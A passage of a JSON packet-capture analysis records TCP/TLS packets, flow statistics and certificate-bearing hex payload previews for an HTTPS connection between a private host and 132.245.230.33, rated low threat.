\"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 71, \"timestamp\": 1781446968.699449, \"timestamp_iso\": \"2026-06-14T19:52:48.699449\", \"timestamp_human\": \"2026-06-14 19:52:48.699\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36620, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64010, \"dst_port\": 443, \"tcp_seq\": 3321036360, \"tcp_ack\": 763876486, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 72, \"timestamp\": 1781446968.700142, \"timestamp_iso\": \"2026-06-14T19:52:48.700142\", \"timestamp_human\": \"2026-06-14 19:52:48.700\", \"size\": 118, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36621, \"ip_len\": 104, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64010, \"dst_port\": 443, \"tcp_seq\": 3321036360, \"tcp_ack\": 763876486, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 75, \"timestamp\": 1781446969.110698, \"timestamp_iso\": \"2026-06-14T19:52:49.110698\", \"timestamp_human\": \"2026-06-14 19:52:49.110\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36622, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64010, \"dst_port\": 443, \"tcp_seq\": 3321036424, \"tcp_ack\": 763877210, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 76, \"timestamp\": 1781446969.111981, \"timestamp_iso\": \"2026-06-14T19:52:49.111981\", \"timestamp_human\": \"2026-06-14 19:52:49.111\", \"size\": 124, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36623, \"ip_len\": 110, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64010, \"dst_port\": 443, \"tcp_seq\": 3321036424, \"tcp_ack\": 763877210, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 79, \"timestamp\": 1781446969.586175, \"timestamp_iso\": \"2026-06-14T19:52:49.586175\", \"timestamp_human\": \"2026-06-14 19:52:49.586\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36624, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64010, \"dst_port\": 443, \"tcp_seq\": 3321036494, \"tcp_ack\": 763877838, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 110, \"timestamp\": 1781446971.936302, \"timestamp_iso\": \"2026-06-14T19:52:51.936302\", \"timestamp_human\": \"2026-06-14 19:52:51.936\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36625, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 193541786, \"tcp_ack\": 1223504444, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}, {\"packet_number\": 112, \"timestamp\": 1781446971.936651, \"timestamp_iso\": \"2026-06-14T19:52:51.936651\", \"timestamp_human\": \"2026-06-14 19:52:51.936\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"132.245.230.33\", \"ttl\": 128, \"ip_id\": 36626, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64010, \"dst_port\": 443, \"tcp_seq\": 3321036494, \"tcp_ack\": 763877838, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"SYN\": 2, \"ACK\": 30, \"PSH\": 14, \"RST\": 2}, \"packet_sizes\": [66, 54, 257, 54, 54, 212, 54, 141, 92, 168, 54, 118, 54, 164, 54, 66, 54, 260, 54, 54, 212, 54, 141, 92, 170, 54, 118, 54, 124, 54, 54, 54], \"inter_packet_intervals\": [0.0002219676971435547, 0.002936840057373047, 0.4824042320251465, 0.0001518726348876953, 1.1060850620269775, 0.5411520004272461, 0.003834962844848633, 8.606910705566406e-05, 0.002599954605102539, 0.8280818462371826, 0.0015850067138671875, 0.7349720001220703, 0.0031731128692626953, 0.4082949161529541, 0.40470218658447266, 0.00034999847412109375, 0.00022792816162109375, 0.6146118640899658, 0.006865024566650391, 0.0032720565795898438, 0.4246540069580078, 0.0010459423065185547, 0.00016808509826660156, 3.600120544433594e-05, 0.42612504959106445, 0.0006928443908691406, 0.4105560779571533, 0.0012829303741455078, 0.4741940498352051, 2.3501269817352295, 0.0003490447998046875], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 9.234839916229248, \"avg_packet_size\": 102.03125, \"packets_per_second\": 3.465138572003117, \"bytes_per_second\": 353.552419924693, \"min_packet_size\": 54, \"max_packet_size\": 260, \"median_packet_size\": 66, \"avg_interval\": 0.2978980618138467, \"min_interval\": 3.600120544433594e-05, \"max_interval\": 2.3501269817352295}, {\"source\": \"132.245.230.33\", \"target\": \"10.152.152.11\", \"packet_count\": 28, \"total_bytes\": 15920, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\", \"_TLSEncryptedContent\", \"TLS\"], \"src_ports\": [443], \"dst_ports\": [63964, 64010], \"first_packet\": 1781446962.701841, \"last_packet\": 1781446969.5847, \"packets\": [{\"packet_number\": 21, \"timestamp\": 1781446962.701841, \"timestamp_iso\": \"2026-06-14T19:52:42.701841\", \"timestamp_human\": \"2026-06-14 19:52:42.701\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 1223497230, \"tcp_ack\": 193541012, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 24, \"timestamp\": 1781446962.704981, \"timestamp_iso\": \"2026-06-14T19:52:42.704981\", \"timestamp_human\": \"2026-06-14 19:52:42.704\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 1461, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 1223497231, \"tcp_ack\": 193541215, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 27, \"timestamp\": 1781446963.187032, \"timestamp_iso\": \"2026-06-14T19:52:43.187032\", \"timestamp_human\": \"2026-06-14 19:52:43.187\", \"size\": 4102, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 1462, \"ip_len\": 4088, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 1223497231, \"tcp_ack\": 193541215, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 29, \"timestamp\": 1781446963.187401, \"timestamp_iso\": \"2026-06-14T19:52:43.187401\", \"timestamp_human\": \"2026-06-14 19:52:43.187\", \"size\": 374, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 1465, \"ip_len\": 360, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 1223501279, \"tcp_ack\": 193541215, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 320, \"payload_preview\": \"f7e7b818f4b3595d40df264b0d2c61fce4175cd522de8e524b36561d53d328e7cd3da13ffb6ec67103505a2d68b3a41a62cc7570fafd061e08040100a01bb1c5258c2ee474909c50722eb96705f93864d33242416c2bef6e0bef30cde40ffc555af8fd50e52f1263d66245ef9df59da896c275ad9e8ed53d970c547082869e9ba361dc71aa097238257ad909e6213d4c0a1a4aa7da18aab0926ca7efe6b0b70fa82258f02fb33ebaeeda86eba4b1a884651de8405c5e111dcded2156d42ee5eb2c3b76fdc5039bea6eec740004e6ac15e08fe9f3d905979a09e1b2efcabbd67ce88993375144a33edbcb06b025279302888dc46e54fbce0b3cd6ab5929480e446a2f22d634e4502e0125cfbb96bbfa5617b12748134dc4ebfecc0ff18916bfb28c324176de4748567aff2d5d98ae363a687c8f4b015cb6cd332a0a000e000000\", \"payload_ascii\": \"\\u0018Y]@&K\\r,a\\u0017\\\\\\\"RK6V\\u001dS(=?nq\\u0003PZ-h\\u001abup\\u0006\\u001e\\b\\u0004\\u0001\\u0000\\u001b%.tPr.g\\u00058d2BAl+n\\u000b0\\u000fUZP/\\u0012cbEu=\\fTpaq\\tr8%z\\t!=L\\n\\u001aJ\\u0018l\\u000f\\\"X/>e\\u001d@\\\\^\\u0011\\u001d!V.,;v\\u0003nt\\u0000\\u0004\\u0015\\u0005\\t|7QD>\\u0006%'\\u0002nT\\u000b<Y)H\\u000eDj/\\\"4P.\\u0001%V\\u0017'H\\u0013M\\u000f\\u00162AvGHVz-]6:h|K\\u0001\\\\3*\\n\\u0000\\u000e\\u0000\\u0000\\u0000\"}, {\"packet_number\": 32, \"timestamp\": 1781446964.293628, \"timestamp_iso\": \"2026-06-14T19:52:44.293628\", \"timestamp_human\": \"2026-06-14 19:52:44.293\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 1466, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 1223501599, \"tcp_ack\": 193541373, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 33, \"timestamp\": 1781446964.834528, \"timestamp_iso\": \"2026-06-14T19:52:44.834528\", \"timestamp_human\": \"2026-06-14 19:52:44.834\", \"size\": 481, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 1467, \"ip_len\": 467, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 1223501599, \"tcp_ack\": 193541373, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 32, \"payload_preview\": \"459fe633eeb6367e2b1ac17f8017b35a624f70fbc7d755b1c637998c5039efff\", \"payload_ascii\": \"E36~+\\u001a\\u007f\\u0017ZbOpU7P9\"}, {\"packet_number\": 36, \"timestamp\": 1781446964.838622, \"timestamp_iso\": \"2026-06-14T19:52:44.838622\", \"timestamp_human\": \"2026-06-14 19:52:44.838\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 1468, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 1223502026, \"tcp_ack\": 193541460, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 38, \"timestamp\": 1781446964.838688, \"timestamp_iso\": \"2026-06-14T19:52:44.838688\", \"timestamp_human\": \"2026-06-14 19:52:44.838\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 1469, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 1223502026, \"tcp_ack\": 193541498, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 40, \"timestamp\": 1781446964.841306, \"timestamp_iso\": \"2026-06-14T19:52:44.841306\", \"timestamp_human\": \"2026-06-14 19:52:44.841\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 1470, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 1223502026, \"tcp_ack\": 193541612, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 41, \"timestamp\": 1781446965.669157, \"timestamp_iso\": \"2026-06-14T19:52:45.669157\", \"timestamp_human\": \"2026-06-14 19:52:45.669\", \"size\": 1121, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 1471, \"ip_len\": 1107, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 1223502026, \"tcp_ack\": 193541612, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 44, \"timestamp\": 1781446965.670962, \"timestamp_iso\": \"2026-06-14T19:52:45.670962\", \"timestamp_human\": \"2026-06-14 19:52:45.670\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 1472, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 1223503093, \"tcp_ack\": 193541676, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 45, \"timestamp\": 1781446966.405661, \"timestamp_iso\": \"2026-06-14T19:52:46.405661\", \"timestamp_human\": \"2026-06-14 19:52:46.405\", \"size\": 777, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 1473, \"ip_len\": 763, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 1223503093, \"tcp_ack\": 193541676, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 48, \"timestamp\": 1781446966.409103, \"timestamp_iso\": \"2026-06-14T19:52:46.409103\", \"timestamp_human\": \"2026-06-14 19:52:46.409\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 1474, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 1223503816, \"tcp_ack\": 193541786, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 49, \"timestamp\": 1781446966.817191, \"timestamp_iso\": \"2026-06-14T19:52:46.817191\", \"timestamp_human\": \"2026-06-14 19:52:46.817\", \"size\": 682, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 1475, \"ip_len\": 668, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 1223503816, \"tcp_ack\": 193541786, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 52, \"timestamp\": 1781446967.222113, \"timestamp_iso\": \"2026-06-14T19:52:47.222113\", \"timestamp_human\": \"2026-06-14 19:52:47.222\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64010, \"tcp_seq\": 763870666, \"tcp_ack\": 3321035755, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 55, \"timestamp\": 1781446967.222678, \"timestamp_iso\": \"2026-06-14T19:52:47.222678\", \"timestamp_human\": \"2026-06-14 19:52:47.222\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 36034, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64010, \"tcp_seq\": 763870667, \"tcp_ack\": 3321035961, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 56, \"timestamp\": 1781446967.837092, \"timestamp_iso\": \"2026-06-14T19:52:47.837092\", \"timestamp_human\": \"2026-06-14 19:52:47.837\", \"size\": 1518, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 36035, \"ip_len\": 1504, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64010, \"tcp_seq\": 763870667, \"tcp_ack\": 3321035961, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 58, \"timestamp\": 1781446967.844004, \"timestamp_iso\": \"2026-06-14T19:52:47.844004\", \"timestamp_human\": \"2026-06-14 19:52:47.844\", \"size\": 2954, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 36037, \"ip_len\": 2940, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64010, \"tcp_seq\": 763872131, \"tcp_ack\": 3321035961, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 2900, \"payload_preview\": \"41312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017d060a2b06010401d6790204020482016d048201690167007600c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019d0227fa81000004030047304502206503d2b3b95c5a3afb9c236d63a49827a23cff959c02b28693fa4b0ba1ff79f3022100926107971c235c133aa4381f9f1943c10e6f9f065a008a1cdd69c24a3ae84e9e007500d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019d0227fab60000040300463044022059fb3ceca64c8642f90336570c90b37788e061fd0e5056d8983896d89b8f1898022070907a4ed12544ece63de2a47b3c7e1bbc48cd7f17cb88713224fd1d05483333007600944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d80000019d0227fa8e0000040300473045022100bd0d16c172d297d7e77a360b09f5ac4b969076787aeaa5e5dd33894d3d11800802207946295b526fb444aeca904888e1aedaa188ade2b50abfb705372ad7601ac60d300d06092a864886f70d01010b05000382010100c8d99f18d82dbd8fdfd8d58dd4404db27c3825d173ec1750fc69596cf7f7268f13f7b982f074ddce49d333cf5f6e802435c86f6c265876cc895636741eec7a543bd2b4f58372d61a171e6753cb35bf16babf0feedd032ec85c7d8d80f51cb75209525f57ec8d10ddc3a4e7923009d34634b8383d79f461ebd1752b81f5b72c63ebc2d5acb1af1597ae4fea4a04e746130aa2238fed38e5e6423e2a49daee7f872b2f4210dad2bec178d6ddb3d12812dac0af7386a5a6253caef1cfd70339d142e95290274b6daff341fef1275f1bc0ec3bdc5c30368794281a81ffdaa1ba0b87869fcf9f7bc974fb79d870c220432bdedd63d1d0710ab1758da55ed1de171b800004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303630393037313930305a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303630393037303330305aa011180f32303236303631363036303330305a300d06092a864886f70d01010b0500038201010076dd3027af599ae